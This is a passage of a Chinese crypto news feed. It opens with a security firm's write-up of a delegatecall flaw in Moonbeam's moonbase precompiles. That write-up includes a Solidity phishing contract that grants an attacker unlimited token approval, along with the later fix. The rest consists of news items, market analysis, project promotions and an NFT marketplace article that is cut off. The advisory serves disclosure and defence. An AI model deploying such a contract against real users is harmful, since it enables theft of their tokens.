Some(ECRecoverPublicKey::execute(handle)), a if a == hash(2048) => Some(ParachainStakingWrapper::::execute(handle)), a if a == hash(2049) => Some(CrowdloanRewardsWrapper::::execute(handle)), a if a == hash(2050) => Some( Erc20BalancesPrecompile::::execute(handle), ), a if a == hash(2051) => Some(DemocracyWrapper::::execute(handle)), a if a == hash(2052) => Some(XtokensWrapper::::execute(handle)), a if a == hash(2053) => Some( RelayEncoderWrapper::::execute(handle) ), a if a == hash(2054) => Some(XcmTransactorWrapper::::execute(handle)), a if a == hash(2055) => Some(AuthorMappingWrapper::::execute(handle)), a if a == hash(2056) => Some(BatchPrecompile::::execute(handle)), // If the address matches asset prefix, the we route through the asset precompile set a if &a.to_fixed_bytes()[0..4] == FOREIGN_ASSET_PRECOMPILE_ADDRESS_PREFIX => { Erc20AssetsPrecompileSet::::new() .execute(handle) } // If the address matches asset prefix, the we route through the asset precompile set a if &a.to_fixed_bytes()[0..4] == LOCAL_ASSET_PRECOMPILE_ADDRESS_PREFIX => { Erc20AssetsPrecompileSet::::new().execute(handle) } _ => None, } } 上述代码是由 Rust 语言实现的 moonbase 预编译合约集的执行方法（fn execute()），该方法会匹配调用的预编译合约地址，然后交由不同的预编译合约去处理输入的 data。执行方法传入的 handle（预编译交互句柄）包括了 call(call_data) 中的相关内容，以及交易上下文信息等。 因此当要调用 ERC20 预编译代币合约时，需通过 0x000...00802.call(fanction(type),parameter) 的方式（0x802=2050），便能调用 ERC20 预编译代币合约的相关函数。 但上述 moonbase 预编译合约集的执行方法存在一个问题，即未检查其他合约的调用方式。如果使用 delegatecall(call_data) 而不是 call(call_data) 的方式调用预编译合约及，便会出现问题。 接下来我们先看一下使用 delegatecall(call_data) 和 call(call_data) 的区别: 1.使用 EOA 账户在合约 A 中利用 address.call(call_data) 调用另一个合约 B 的函数时，执行环境是在合约 B 中，使用的调用者信息 (msg) 是合约 A，如下图。 2.利用 delegatecall 调用时，执行环境是在合约 A 中，使用的调用者信息 (msg) 是 EOA，而无法修改合约 B 中的存储数据。如下图。 无论通过什么方式调用，EOA 信息和合约 B 无法通过合约 A 绑定到一起，这使得合约之间的调用是安全的。 因此由于 moonbase 预编译合约集的执行方法（fn execute()）未检查调用的方式。那么当使用 delegatecall 去调用预编译合约，也会在预编译合约中去执行相关方法并写入预编译合约的存储中。即如下图所示，当 EOA 账户去调用了一个攻击者编写的恶意合约 A，A 中使用 delegatecall 的方式去调用了预编译合约 B。这将会在 A 和 B 中同时写入调用后的数据，实现钓鱼攻击。 漏洞利用过程 攻击者可以部署以下钓鱼合约，并通过钓鱼等方式诱使受害用户调用钓鱼函数 -uniswapV2Call，而函数会再次调用实现了 delegatecall(token_approve) 的 stealLater 函数。 根据上述介绍规则，攻击合约调用代币合约的 approve 函数授权（asset=0x000...00802），当用户调用 uniswapV2Call 之后，会在钓鱼合约和预编译合约的 storage 中同时写入授权，攻击者只用调用预编译合约的 transferfrom 函数便可将用户代币全部转移出去。 pragma solidity >=0.8.0; contract ExploitFlashSwap { address asset; address beneficiary; constructor(address _asset, address _beneficiary) { asset = _asset; beneficiary = _beneficiary; } function stealLater() external { (bool success,) = asset.delegatecall( abi.encodeWithSignature( "approve(address,uint256)", beneficiary, (uint256)(int256(-1)) ) ); require(success,"approve"); } function uniswapV2Call( address sender, uint amount0, uint amount1, bytes calldata data ) external { stealLater(); } } 随后开发者在 moonbase 预编译合约集的执行方法（fn execute()）中判断了 EVM 执行环境的地址是否和预编译地址一致，以确保只能使用 call() 方式对 0x000...00009 地址以后的预编译合约合约进行调用，项目方修复之后的代码如下： fn execute(&self, handle: &mut impl PrecompileHandle) -> Option { // Filter known precompile addresses except Ethereum officials if self.is_precompile(handle.code_address()) && handle.code_address() > hash(9) && handle.code_address() != handle.context().address { return Some(Err(revert( "cannot be called with DELEGATECALL or CALLCODE", ))); } match handle.code_address() { ...... 关于这个问题，Beosin 安全团队建议，项目方在项目开发过程中需要考虑到 delegatecall 和 call 的不同之处，被调用合约能通过 delegatecall 进行调用的，需要全方位思考其应用场景以及底层原理，做好严格的代码测试。建议在项目上线前，寻找专业的区块链审计公司进行全面的安全审计。  ( 4 min )
    路透社：SBF对贿赂中国当局等新的刑事指控不认罪
    PANews 3月30日消息，据路透社报道，FTX 创始人 SBF 预计对美国新的刑事指控表示不认罪，这些指控包括共谋违反竞选财务法和贿赂中国当局。此前，SBF 对八项欺诈和串谋指控表示不认罪，这些指控涉嫌窃取数十亿 FTX 客户资金以弥补其对冲基金 Alameda Research 的损失。一位知情人士告诉路透社，他还计划对新的 13 项指控表示不认罪。新的指控增加了 Bankman-Fried 的压力，如果他在定于 10 月 2 日开始的审判中被定罪，他可能面临数十年的监禁。  ( 1 min )
    从交易员的视角：复盘银行危机、美联储加息以来加密市场波动分析
    撰文：无为Be Water@crypto 自美联储22年3月开始加息以来，一年时间内从0利率加息至4.75%-5.00%，这样的快速加息节奏在过往也是很少见的。 在3月之前加息确实遏制了通胀的速度，并给美股、加密货币等风险资产带来较大负面冲击，然而在此次中小银行流动性危机出现之前，美联储尚未看到其他对经济的负面影响。而回看每一次加息，势必会有一定杀伤力（break something），而这个月接连爆出的中小银行的危机归根结底主要还是来自于美联储的持续加息。 对于银行来说，储户的储蓄是银行资产负债表中的负债；银行对外的投资或者发放的贷款是资产。从负债端来看，如果有持续的现金流出压力，或者有更高收益选择（加息下更高收益的国债），势必带来银行存款的流出，也就是银行负债端的偿债兑付。从资产端来看，对外的投资，例如MBS或者国债等投资品类，在整体加息环境下，市值持续下行，带来账上大量浮亏，如果再叠加现金流紧缺，而需要亏损卖出资产端持有的债券，导致资产缩水，势必带来更多储户的集中兑付。总结下来，加息同时影响到了银行的资产端和负债端。所有的银行都是加杠杆运行的，按照巴塞尔协议的资本充足率要求，最高可以有12.5倍的杠杆，任何一家现金流不足够的银行都不能幸免于兑付压力的难，于是带来了更大范围的中小银行bank run。 中小银行的流动性压力，再加上系统重要性银行瑞士信贷的危机，带来市场的普遍恐慌情绪，标普500在3月9日、10日连续跌破长期以来的200日支撑，直至3月12日美财政部、美联储、FDIC宣布紧急救助方案BTFP，才使得美股在13日开盘后重新回到支撑线附近。 在面对中小银行流动性压力，美联储确实是用实际行动支持了，下面两图分别是央行折现窗口的使用率和美联储资产负债表的变化。可以看到，在今年3月15日，折现窗口的使用率甚至超过了08年金融危机。而美联储资产负债表的变化，这里可以做个简单的算术题，去年4月开始美联储在加息的同时开始缩减资产负债表，对市场收紧流动性。在过去11个月时间里，从最高8.96万亿美元资产，压降到8.33万亿美元资产，共缩减了6258亿美元资产。而在3月7号至21号这短短两周时间里，又快速增加了3915亿美元资产。也就是说，美联储资产负债表在近一年的时间里收缩的规模，在不到2周时间里已经还回去一半多了。     为缓解中小型银行压力而新增释放的流动性，自然对资本市场造成了影响。在3月10号之后，加密货币、黄金、纳斯达克都对于新增释放的流动性做出正反馈。比特币更是快速突破前期2.5万美元的阻力位，最高升至$28937。在这段时间中，比特币更多凸显了避险资产的属性，在加密货币市值占有率突破43%高位，可以说是呈现了对小币种的吸血行情。 继续加息的鹰派论调和控制银行救助范围，带来风险资产的普遍回调 在市场普遍质疑加息带来金融稳定性问题的背景下，迎来了美联储3月份的FOMC会议。会前对于是否加息的概率几次显著变更，在2月份CPI释放之后，中小银行危机出现之前，利率掉期显示加息50bp的概率一度升至70%以上；而在中小银行危机出现之后，加息25bp或者不加息的概率猛增。此时，对于美联储来说是相对两难的抉择。如果单独考虑CPI增速，那大概率将继续加息50bp，同时带来金融市场流动性的进一步紧缩，可能会带来更多意料不到的危机事件发生。如果完全不加息，可能让市场猜测，是否有更大范围的挑战金融稳定性的危机尚未披露。直至3月22日，FOMC会议决议加息25bp，符合市场预期。然而，在此后的记者招待会上，鲍威尔主席的态度让市场情绪再次反转。当Powell提到，目前中小银行的流动性问题带来信贷收紧，实现了部分加息的作用时，市场还是认为偏鸽的。然而，很快鲍威尔强调全体票委一致认为今年没有减息的必要，叠加美财政部主席耶伦几乎同时发出了扩大存款保证近期可能性不大后，美股、比特币同频下跌。   后市预测 近日，技术面上，美股标普500回测200日均线支撑，呈现了高点逐渐走低的态势；消息面上，资本市场缺乏新的动能。加密货币市场方面，美国不断披露的监管消息，也影响了市场情绪，短期内震荡或回调的概率依然不小，还需更多时间和消息面的配合确认方向。 本文所载的全部内容仅作参考之用，不构成对任何人的投资建议。本文所载资料的来源被认为是可靠的，但不保证其准确性和完整性，也不保证所包含信息和建议不会发生任何变更，并且不对使用本文所包含的才材料产生的任何直接或间接损失或与此相关的其他任何损失承担任何责任。  ( 1 min )
    让Aptos成为新公链佼佼者的8大创新
    原文：《深入了解Aptos：为 Aptos 网络提供动力的 8 项创新》 Aptos 作为加密市场上延迟最低、吞吐量最高的区块链，为开发人员构建web3 最佳应用程序带来了极大的转变，为什么Aptos 生态可以实现蓬勃发展？能够为所有人提供流畅的体验？Aptos 网络发展的源动力是什么？本文将为你介绍Aptos 网络发展的8项源动力。 Aptos 上的Move 语言为开发人员提供了更好的开发条件，提高了开发效率。Move 是一种富有表现力且易于访问的编程语言，且专为安全资产管理而设计。 Aptos 区块链集成了 Move 语言，和 Move 共享许多相同的核心设计原则，使 Aptos 更便于成为高效、愉快的 Move 开发的地方。 Move最初是为Aptos区块链的前身设计的，这种关系确保现有的 Move 开发人员可以在 Aptos 上无缝构建，并且新的 Move 开发人员可以从 Aptos 之前的文档、指南和示例中受益。 Aptos 通过在语言和框架级别添加多项功能，大大改进了 Move 生态系统，即完善的安全架构、详细和可配置的 gas 计量、代码可升级性、资源帐户等。除此之外，Move Prover 是 Move 智能合约的正式验证者，它为合约不变量提供额外的保障，并在 Aptos 上得到积极扩展。 Aptos通过在语言和框架级别上添加多种特性，极大地改进了Move生态系统。即完善的安全架构，详细和可配置的燃气计量，代码可升级性，大规模表，资源帐户，等等。除此之外，Move验证器(Move智能合约的正式验证器)为合约不变量提供了额外的保障，并在Aptos中得到了积极的扩展。 许多Move语言最初的研究人员和开发人员仍然在Aptos生态系统中进行构建，增强了Move语言和社区，Move 语言经过四年的测试和证明是可以用于生产的开发语言。 Block-STM 是一种新的智能合约并行执行引擎，围绕 Aptos 的交易内存和乐观并发控制原则构建，这种新颖的交易并行化方法可以在不影响开发人员体验的情况下加快交易处理速度。 与需要读取/写入数据来破坏交易原子性的并行执行引擎不同，Block-STM 使开发人员能够不受限制地进行编码，并为实际用例实现更高的吞吐量和更低的延迟。开发人员可以使用 Block-STM 轻松构建高度并行化的应用程序， Block-STM 支持比其他通常需要将操作拆分为多个交易（破坏逻辑原子性）的并行执行环境更丰富的原子性，通过降低延迟和提高成本效率来增强用户体验。 为了支持真正去中心化和无需许可的layer1，Aptos 具有内置的链上治理，可实现无缝网络和虚拟机配置更改。Aptos激励测试网3和主网证明了这一点。 在主网上，这通过降低“投票权增加限制”提高了网络的可靠性，设置为更激进的阈值允许快速引导网络，超过52%的代币所有者投票支持这一提案，以帮助保护我们的网络。 自诞生以来，Aptos社区已经能够创建和投票的建议，影响Aptos区块链的行为。治理建议包括：跨epoch 持续时间进行更改，或者需要的最小值和允许的最大值验证者权益，修改标志，利用核心区块链代码的软件升级;以及升级到Aptos框架模块，一组核心库的移动开发者，修复bug或增强Aptos区块链功能。 AptosBFTv4 是第一个具有严格正确性证明的生产区块链 BFT 协议，该协议是乐观响应的，允许它提供低延迟和高吞吐量，充分利用底层网络。 在 Hotstuff 上进行改进，Aptosv4BFT 将提交延迟从 3 步减少到 2 步，在不牺牲通信补偿的情况下减少了 33% 的延迟。 在实施时考虑到安全严格性和可升级性，该实施清楚地分离了不变量以进行隔离和有效审计，从而强制执行不分叉的心态，相同的软件堆栈已经过 4 次升级，并在实时网络上进行了测试，证明了其开发过程的周到性和稳健性。在其第四次迭代中，AptosBFTv4 是最快的、生产就绪的拜占庭容错共识协议。 即使个人停机，Aptos 也能确保整个网络的正常运行时间，这是由链上信誉系统维护的，信誉系统将过去的可用性和性能视为未来的指标，这会自动将反应迟钝和表现不佳的验证者的负面影响降至最低。 Aptos 账户支持灵活的密钥管理，包括对密钥轮换、加密敏捷性和混合托管模型等功能的支持。密钥轮换通常是良好的使用习惯，并且对于防止甚至可以危及多方帐户的远程攻击很重要，在其他区块链上，只能通过将所有资产迁移到新帐户来进行轮换。账户与密钥解耦的方法使 Aptos 能够无缝添加新的数字签名算法以支持公钥和私钥类型，混合托管模型支持高级恢复解决方案和帐户管理，以帮助弥合 Web2 和 Web3 之间的差距。 钱包可以使用交易预执行在用户签名之前向用户解释交易结果，在签名之前评估交易可以减轻安全风险，例如网络钓鱼攻击，这在 Web3 中变得越来越普遍。为了进一步强化用户体验，Aptos 区块链限制了每笔交易的可行性，并通过三个保护领域——序列号、到期时间和链 ID 来保护签名者不受无限有效性的影响，以防止错误/攻击。 Aptos 共识协议和经过身份验证的存储实现了对轻客户端协议的无缝和实用支持，从而实现更安全和更值得信赖的用户体验。Aptos 网络公开欢迎任何人连接全节点以直接访问经过身份验证的数据，这强调了 Web3 的俗语“don’t trust, verify”。为此，Aptos 建立在一个高效的multicast 树结构之上，以提供一个高吞吐量、低延迟的网络，用于向参与者传播区块链状态。参与者可以处理自创世以来的所有交易，也可以完全跳过区块链历史并使用路径节点仅同步最新的区块链状态。轻客户端可以同步部分区块链状态，例如，特定账户或数据值，并启用经过验证的状态读取，例如，使用 BFT 时间戳获取经过验证的账户余额。 Aptos 具有可升级性的历史，从头开始，系统中的每个区域都以模块化和灵活性的初衷来设计。这使得 Aptos 架构能够支持频繁升级，这反过来意味着区块链可以快速采用最新的技术进步，并为新兴的用例提供技术支持。 Aptos 模块化架构设计创造了客户端灵活性，并针对零停机的频繁升级进行了优化——这些功能在之前的主网迭代、测试网和许多内部压力测试中得到了展示。Aptos 区块链包括嵌入式链上变更管理协议，可快速部署新技术创新并支持新的 Web3 用例。 在 Aptos 激励测试网 3 中，我们为节点运营商利用了基于投票的奖励系统。在这个模型中，一旦三分之二的选票到达提议者节点，BFT 下的共识就达成了，这意味着三分之一的后期投票没有被包括在内，并且他们的相关验证者没有得到奖励。 这可能会导致延迟竞争，并且靠近主节点集群的验证者往往会获得更多奖励。在这些情况下，节点运营者会将他们的节点移动到更靠近主集群的位置，以改善延迟，从而增加他们的质押奖励，这会损害权力下放和地理分布，因为它会激励共置。Aptos 现在已经实施了基于提案绩效的奖励作为我们的质押奖励系统，以促进更大程度的权力下放。 基于提案的系统比投票具有更高的超时时间，并且可以说对跨区域延迟不太敏感。这提高了更偏远地区节点的奖励率并抑制了地理分布的影响，例如，如果验证者不在物理上位于最大的节点集群中，他们将获得更少的奖励，奖励模式继续考虑投票行为，因为良好的投票绩效会影响提议者选举概率。 Aptos 使用 Jellyfish Merkle Tree (JMT) 设计，它利用单调递增的基于版本的密钥模式来优化基于 LSM 树的底层存储引擎（如 RocksDB）的写入。JMT 在 CPU、I/O 和存储占用空间之间达到了一个实用的最佳平衡点，确保了令人满意的性能，而磁盘上的膨胀状态数据的大小却难以处理。 除了 JMT 作为 Aptos 状态的持久化格式外，它还有另一种内存中、无锁的稀疏 Merkle 树实现，这是专门为缓存和并行化量身定制的，与 Block-STM 一起使用以促进高性能全局状态更新。 有关 Aptos 创新的更多详细信息或更好地了解区块链的技术愿景，请查看 Aptos 白皮书，点击Aptos.dev，立即参与开发。  ( 2 min )
    Ronin区块链进行技术升级并扩展新的游戏IP以纪念超6亿美元黑客事件周年
    PANews 3月30日消息，Axie Infinity的Ronin区块链进行了技术升级，并扩展了新的游戏IP。这项升级旨在提高交易速度和降低费用。升级后该链将从“授权证明（proof-of-authority）”转变为“委托权益证明(delegated proof-of-stake)”。此外，RON 质押功能上线，验证者必须在 4 月 12 日之前设置他们的节点。这项升级是为了纪念去年发生的 6.25 亿美元黑客事件周年。目前在Ronin上开发游戏的新IP团队包括Tribes Studio、Bali Games、Directive Games、The Machines Arena和Bowled.io等游戏团队。这些工作室的员工来自DICE、LucasArts、Square Enix和Ubisoft以及其他AAA游戏制造商。 相关阅读：损失超6.1亿美元——Ronin Network被黑分析  ( 1 min )
    盘点15个免费且实用的Alpha信息渠道
    作者：Hoeem 编译：Biteye 核心贡献者 Crush 在加密圈子中，信息的获取往往是投资的关键。好的信息渠道，人们常常称之为 Alpha 信息渠道。那这些财富密码都是在哪里找到的呢？今天这篇文章，就来给大家介绍 15 个不能错过的 Alpha 信息渠道。 这些信息渠道都是免费的，并且我会附上一小段介绍，来说明它的价值所在。废话不多说，下面让我们直接开始！ 01、The Daily Degen The Daily Degen ( @thedailydegenhq ) 是由推特用户 @rektdiomedes 负责撰写。 这个频道主要涵盖了 Crypto 新闻、数据、DeFi 警报和宏观方面的每日概要。 订阅地址： https://thedailydegen.substack.com 02、Linn's Leverage Linn's Leverage 由推特用户 @crypto_linn 负责撰写。Linn 会为你带来一些 Alpha、宏观，或者是介于两者之间的一切内容。 订阅地址： https://linns.substack.com 03、Another Day in Crypto 由 @DAdvisoor 撰写，经常会收集一些网络上的加密内容，并且保持稳定持续的更新。 订阅地址： https://defiadvisoor.substack.com 04、Seven c Newsletter Seven c Newsletter 是由我本人所撰写，我会为订阅者带来每周加密新闻总结、Alpha 消息聚合以及一些技术方面的内容。 立即订阅： https://sevenc.substack.com 05、The Daily Bot The Daily Bot 由 @ReveloIntel 团队在撰写，为订阅者带来每日日报，主要包括以下内容：不同的加密博客/社区电话会议总结，协议发展的重大事件时间线、行业总体情况介绍、分析、总结以及经济模型发展上的分析。 订阅链接： http://revelointel.substack.com 06、Dynamo DeFi Newsletter 由 @Dynamo_Patrick 撰写的 Dynamo DeFi Newsletter， 将为订阅者带来链上指标、推荐阅读、加密工具等每周亮点。 订阅地址： https://dynamodefi.substack.com 07、The Gems Corner The Gems Corner 由 @ViktorDefi 撰写，通常会发布一些 GEM（潜力很高的加密项目）以及 DeFi 方面的深度见解。 订阅地址： https://viktordefi.substack.com 08、Extensive Vision Extensive Vision 由 @IamZeroIka 撰写，一份试图改变加密圈子游戏规则的消息频道，带来加密指南、基本面分析、新闻、概述以及一些理性思考。 订阅地址： https://extensivevision.substack.com 09、The Optimistic Newsletter Optimistic Newsletter 是由 @Subli_Defi 负责撰写的，为订阅者带来治理、技术、链上分析、DeFi 项目、加密市场分析以及挖矿策略等方面的内容，每两周更新一次。 订阅地址： https://optimismbysublidefi.substack.com 10、The Black Swan The Black Swan 由 @Route2FI 负责撰写，为用户提供信息丰富的加密信息，满足用户在加密货币领域的各种需求。 订阅地址： https://route2fi.substack.com 11、The Ape Enclosure The Ape Enclosure的作者是 @danblocmates，每两周会为用户带来通俗易懂的 DeFi 见解、热点新闻和行业解密。 订阅地址： https://blocmates.beehiiv.com 12、1% Better @1BetterbyNFTGod 是由 @NFT_GOD 撰写的一个消息频道，会给用户分享一些作者的日常习惯、创造、编程、阅读、写作等方面的内容，致力于让世界变得更加美好，同时帮助用户培养成长心态，以更好地应对挑战。 订阅地址： https://1percentbetter.io 13、Wale Drops Wale Drops 由 @waleswoosh 负责撰写，这是一个月更的消息频道，每月为用户带来对有趣的 Web3 主题深入分析。 订阅地址： https://waleswoosh.substack.com 14、The DeFi Investor The DeFi Investor 的作者是 @TheDeFinvestor，他每周会更新币圈的一些热点新闻，旨在让用户获取更多的 DeFi 机会并了解行业的最新动态。 订阅地址： http://thedefinvestor.substack.com 15、Technical Roundup @RoundupCrypto 由 @CryptoCred 和 @CryptoDonAlt 两人同时负责撰写，每周发布一次，提供干货满满的技术分析。订阅了他们的消息，相信您将会受益匪浅！ 订阅地址： https://technicalroundup.com 如果大家还有其它有价值的消息渠道，也欢迎加入我们的微信群，进行交流与补充。添加小助手（Biteye01）入群！此外，我们也有电报群 https://t.me/biteyedaily，分享每日阿尔法信息、TVL面板、热门推特账号、NFT趋势等信息。  ( 2 min )
    Starfish Finance的未来：DOT流动性质押和Entertainment-Fi
    春天，万物复苏，市场回暖。海星Starfish Finance公布了全新路线图。随着Web3行业及市场的不断变化和技术的不断进步，他们意识到需要不断地调整和优化产品的发展策略，以保持海星独特的竞争优势。 在过去的几个月中，海星团队投入了大量时间和精力，进行了广泛的研究和分析，以确定其新的发展方向。最终，海星确定了一份全新的路线图，当中包含市场上火热的$DOT Liquid Staking波卡流动性质押，主打Entertainment-Fi的海星主题游乐场以及未来的海星社群DAO三个重磅功能。 同时，Starfish将会主力输出鲜明活泼的品牌文化，以及简洁流畅的用户体验，给予用户寓“收益”于乐的全新体验。这次海星的重新出发，将改写传统DeFi项目流动性的困局，打造全新的一站式Entertainment-Fi。 Starfish和Astar Network与Polkadot一起协作$DOT的Liquid Staking（流动质押）功能即将上线。在Polkadot生态系统中，流动性质押可以帮助用户利用他们的PoS代币$DOT，获得收益并保持资产的可用性。流动性质押的概念是将用户质押的代币转化为具流动性的代币$sDOT，这些代币可以在DeFi市场上进行交易和投资，同时仍然可以在波卡的中继链获得$DOT的质押收益。 用户可以用$sDOT来交易，增添流动性，挖矿获得更多收益，并解锁平台的各类体验；也可以在任何时候用$sDOT以1:1的比例赎回他们的$DOT代币。简单，方便和高效地收获回报。 Prediction Market预测市场上线Arbitrum和Astar Network - 海星游乐园Entertainment-Fi的第一步 Starfish Finance的第二个目标，将是打造一个海星主题的DeFi游乐园。融合娱乐，金融和社交三个元素，以海星SEAN的品牌形象打造一个全新的一站式DeFi体验。Starfish Finance代币$SEAN将会贯穿整个海星世界的所有元素，以推进代币赋能并铸造一个全新的经济体验，目标连结Web3大大小小的各类社群。 作为海星游乐园Entertainment-Fi的第一步，海星将在年内推出Prediction Market预测市场。如果说DeFi的上一个爆火叙事是去中心化金融的金融衍生品交易平台，下一个备受关注的领域将会是预测市场和金融衍生品，不仅可以帮助投资者降低风险，并更好地理解市场趋势，还能让成熟的投资者通过自己的分析轻松地获得收益。预测市场的未来充满机遇和挑战，团队相信它将会成为未来数字资产市场中的重要组成部分。 海星的品牌文化以及跨链未来 Starfish Finance的终极目标是塑造一个源自海星社群的原生文化。海星活泼的品牌形象，标志性的海星Sean就是其文化中重要的一部分。团队将以海星的IP作为锚点，探索并挖掘在漫画，Meme，纪念品以及NFT藏品等文创产业类的价值，并将这方面的价值反哺给海星的忠实社群。截止目前，团队已经创作了数款外套及T恤回馈社群的忠实用户。未来这些商品也将会上架海星世界，作为用户的奖励之一，也会开放用$SEAN代币来支付的购买渠道。 Starfish Finance背靠日本第一公链Astar Network的同时，面向各大生态圈，团队将持续努力寻求跨链协作的项目，务求蒸蒸日上，让品牌宣传到Web3的每一个角落。 进化，起航。 官方推特：https://twitter.com/Starfish_Fi 官方Discord：https://discord.gg/SxBNRR3EwM 官方Telegram：https://t.me/starfishfinanceofficial 官方中文电报社群：https://t.me/StarfishFinance_Chinese Medium：https://medium.com/@starfishfinance Gitbook：https://starfish-finance.gitbook.io/starfish-finance/ 官方网站：https://starfish.finance/ SEAN Times新闻周报：https://news.starfish.finance/  ( 1 min )
    币安发言人：Bicasso未抄袭Chatcasso项目，设计和开发早于之前的BNB Chain黑客松
    PANews 3月30日消息，据Cointelegraph报道，针对Hunt Town联创指控币安Bicasso产品窃取其在BNB Chain黑客松上提出的创意（即Chatcasso项目），币安发言人回应称：“尽管有相似之处，但在进行内部审查后，我们相信Bicasso是在BNB Chain黑客松前两周独立设计和开发的。Bicasso是币安的一个小团队作为测试建立的一个实验项目，NFT和人工智能是许多行业参与者共同研究的概念。币安和BNB Chain是分开运营的，币安开发团队不参与BNB Chain黑客马拉松，Bicasso这个名字的灵感来自OpenAI工具Dall-E。”  ( 4 min )
    OP Research：NFT MarketPlace的终局之战
    作者：Jam 编辑：Vincero, YL, CloudY 数字资产的独特性使得它们可以用来证明数字物品的所有权和稀缺性，从而为数字艺术家和创作者提供了新的收入来源。 Blur在利用空投激励、挂单激励、自建交易市场与聚合器等多种手段的结合，超越了Opensea。虽然Opensea在这之前是流动性最好的NFT市场，但Blur的综合策略使其在市场上获得了越来越多的关注。当前Blur的流动性解决方案是最好的，其市场和聚合器的结合为用户提供了更广泛的选择。这一点是非常重要的，因为在NFT市场中，流动性往往是关键所在，而Blur的流动性解决方案已经被证明是非常可靠的。 为了迎接冲击，Opensea将手续费降至0%，表明了其对竞争对手的重视。然而，这种策略可能会对Opensea的可持续性产生负面影响。可选版税是另一个战略板块。这使得Blur能够在市场上提供更多的选择，从而吸引更多的用户。细分的Marketplace难再有机会。 虽然在NFT市场上还有很多机会，但是像X2Y2、LooksRare以及Uni V3（Genie）这样的细分市场已经难以再有机会了。这是因为这些市场已经被大公司和实力雄厚的竞争对手所占据，新进入的公司将面临巨大的挑战。 Blur在NFT市场上的综合策略已经被证明是非常成功的。虽然市场竞争激烈，但Blur在市场上的表现越来越好，这表明了其策略的可行性和实用性。 我们将结合NFT Marketplace过去的发展轨迹，探索未来可能的范式。 Crypto Kitties Market是最早的NFT交易平台，最初是作为Crypto Kitties游戏的一个扩展而建立的。Crypto Kitties（最早的NFT）是一个基于以太坊的游戏，玩家可以购买、繁殖、出售数字猫。每只数字猫都是独一无二的，使用了NFT来确保其独特性和流通性。 它的生态系统由平台、用户、数字猫咪、交易市场组成。平台提供数字猫咪的创建、购买、繁殖和出售服务，同时还提供数字猫咪的展示、社交互动和交易市场。用户购买、繁殖和出售数字猫咪，并参与社交互动和活动推广。数字猫咪的品种、繁殖季节和竞赛活动也为平台增加了不少乐趣和互动性。交易市场为用户提供了数字猫咪的购买和出售服务，并提供了交易历史记录和价格走势分析。所以，Crypto Kitties Market的设立初衷是为了完善数字猫的货币属性和资产属性。 Crypto Kitties Market的发展非常迅速，也吸引了越来越多的用户和收藏家加入其中，带动了NFT交易市场的发展。除了Crypto Kitties之外，该平台还开始支持其他类型的数字资产，如数字艺术品、游戏道具等。 尽管Crypto Kitties Market的交易速度非常慢，这主要是因为它是基于以太坊构建的，而以太坊的交易速度和处理能力有限，提供的交易品种也有限。但是，Crypto Kitties Market对NFT市场的发展和推广做出了重要贡献。它的出现为NFT交易市场的发展开辟了先河，也为其他更先进、更方便的NFT交易平台提供了启示。   （Crypto Kitties Market UI）   NFT Summer标志着NFT市场的爆发式增长和普及 2021年的夏季，NFT市场经历了一个快速的增长和普及期。在这个时间段内，NFT交易量和NFT价格都创下了历史新高。Opensea 在NFT Summer期间迅速发展，并成为最大的NFT交易平台之一。在这个时间段内，OpenSea的交易量和用户数都大幅增加，平台上的NFT价格也达到了历史新高。 2021年的NFT交易总额达到了约200亿美元，创下历史新高。这个数字比2020年增长了约10倍。NFT市场的主要平台包括OpenSea、Nifty Gateway、Super Rare、Foundation等。在NFT Summer期间，一些项目尤为受欢迎，如CryptoPunks、Bored Ape Yacht Club、Art Blocks等。 在NFT Summer期间，各种PFP（Profile Picture）项目迅速崛起，吸引了大量的用户和投资者。PFP是指以数字形式呈现的头像图片，可以用于社交媒体、游戏或其他在线场景。但是，这些PFP项目并不仅仅是简单的头像，而是一种身份认同和社群建设的象征，类似于在现实生活中穿戴的时尚单品。 于是，一场疯狂的抢购战就在NFT市场上展开。投资者和收藏者纷纷加入，以数百万美元的价格购买各种PFP作品，以显示自己的身份和社会地位。即使有些作品的设计看起来甚至有些奇怪，但在NFT市场上却能够获得高价。有些人甚至为了买到心仪的PFP，不惜花费上千美元的手续费。 然而，NFT Summer并不是一个平静的夏季。随着投机情绪的升温，一些PFP项目的价格开始出现暴跌，投资者和藏家纷纷抛售手中的作品，市场情绪开始出现动荡。一些PFP项目因为缺乏足够的社群支持而无法生存下去，它们就像在海洋中的小船一样，最终被大浪淹没。在NFT Summer之后，人们开始反思这场疯狂的数字艺术狂潮，一些人认为这只是一种短暂的投机行为，而另一些人则认为这标志着数字艺术市场的新篇章的开启。 不管怎样，NFT Summer是一个充满了机遇和风险的时期，它展现了NFT市场的潜力和魅力。 （以太坊月计交易量） PFP引爆NFT交易 NFT资产累计交易额约为400亿美元，其中PFP交易金额超过250亿美元，占比超过62.5%。这个数据表明，PFP在NFT市场中的交易量和交易金额占据了非常大的比例，也反映出人们对于个人身份和数字形象的重视和需求。同时，这也意味着在NFT市场中，PFP是最受欢迎和活跃的资产之一，成为了市场的主要推动力之一。 从经济学角度来看，PFP的火爆主要与供需因素有关。首先，由于NFT市场的快速崛起，越来越多的人开始注意到NFT的投资价值，并愿意为其支付高昂的价格。其次，PFP市场的供给相对较少，因为PFP是由个人或团队进行设计和发行，其数量通常受到限制。因此，PFP的供给相对较少，但需求却很高，导致价格不断攀升。然而，随着PFP市场的扩大，越来越多的设计师和团队正在涌现，为市场带来更多选择和竞争，进一步推动了市场发展。 从社会学角度来看，PFP的火爆也与社交因素有关。PFP不仅可以显示个人风格和身份认同，还可以作为社交资本的一种形式。许多人在购买PFP时，会选择那些与自己身份认同或兴趣爱好相关的设计，以便在社交圈中获得更多的关注和认可。此外，由于PFP的供给量有限，一些设计受到的欢迎程度往往较高，因此拥有这些受欢迎的PFP也可以成为社交资本的一种形式。随着PFP市场的发展，人们对PFP作为社交资本的认识也在不断提高，这进一步推动了市场的火爆。 这对于NFT的发展和未来有一些启示。首先，随着数字化程度的不断提高，人们对于数字身份和数字资产的需求将越来越大，因此数字艺术品和数字收藏品等NFT资产的市场潜力将不断释放。其次，随着技术的不断进步和普及，更多的人能够参与到NFT市场中来，从而进一步推动市场的发展。最后，PFP作为NFT市场中的主要资产之一，也表明了市场的一些偏好和趋势，这为NFT市场的投资和经营提供了一些参考和指导。 （按种类细分的累计交易量（时间截至20230320）） OpenSea成为NFT Summer的龙头MarketPlace 先发优势。Opensea是较早建立的NFT 